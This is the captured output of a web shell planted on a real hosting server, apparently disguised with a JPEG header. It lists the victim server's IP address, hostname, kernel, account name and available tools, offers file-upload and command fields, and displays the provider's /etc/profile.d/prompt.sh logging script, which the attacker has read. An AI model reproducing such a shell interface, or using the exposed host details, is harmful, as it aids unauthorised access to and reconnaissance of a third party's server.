ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.207
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/profile.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/profile.d/prompt.sh
###################################################################################
#                           A T T E N T I O N !                                   #
#        This file is under puppet control! Do NOT make changes manually!         #
###################################################################################


if [ "$PS1" ]; then
  if [ "${USER}" == wh ] || [ "${USER}" == la2 ] || [ "${USER}" == root ] || [ "${USER}" == netops ] || [ "${USER}" == dcops ] || [ "${USER}" == hsdcops ] || [[ "${USER}" =~ hc_.+\. ]] || [ "${USER}" == techsup ]
  then
    if [[ "${TERM}" == xterm*  ]] || [ "${TERM}" == screen ]
    then
      echo -ne "\033]0;${USER}@${HOSTNAME%%.*}"; echo -ne "\007"
    fi
      #for logins via ipmi/idrac console or VNC
      tty=$(tty)
      if [[ ${tty} =~ 'tty' ]]; then
        export SSH_TTY=$tty
        export SSHD_USER=$USER
      fi

      if [ -z "${SSHD_USER}" ]; then
        SSHD_USER=$(cat /proc/$PPID/environ 2>/dev/null| tr '\0' '\n' | grep '^SSHD_USER' | cut -d"=" -f2)
        #set SSHD_USER for Namecheap
        if [ -n "${SSHD_USER}" ]; then
          export SSHD_USER
        #set SSHD_USER for Spaceship
        else
          SSHD_USER=$(ps -o user= -p $$)
          pid="$$"
          while [ "${SSHD_USER}" == 'root' ]
          do
            ppid=$(cat /proc/$pid/status | grep "PPid" | awk '{print $2}')
            pid=$ppid
            SSHD_USER=$(ps -o user= -p "${ppid}")
            export SSHD_USER
          done
        fi
      fi

      #set SSH_TTY for both - Namecheap and Spaceship
      pid="$$"
      while [ -z "${SSH_TTY}" ]
      do
        ppid=$(cat /proc/$pid/status | grep "PPid" | awk '{print $2}')
        pid=$ppid
        export SSH_TTY=$(tr '\0' '\n' < /proc/"${ppid}"/environ | grep '^SSH_TTY' | cut -d'=' -f2)
      done
      export PROMPT_COMMAND='history -a >(tee -a  ~/.bash_history |logger -p local4.alert -t "$SSHD_USER:[$USER]:[$SSH_TTY]:[$PWD]")'
  elif [[ -d /dev/fd  &&  -d /var/.cagefs ]]
  then
    unset HISTTIMEFORMAT
    export PROMPT_COMMAND='history -a >(tee -a  ~/.bash_history |logger -p local5.alert -t "${USER}:${PWD}")'
  fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit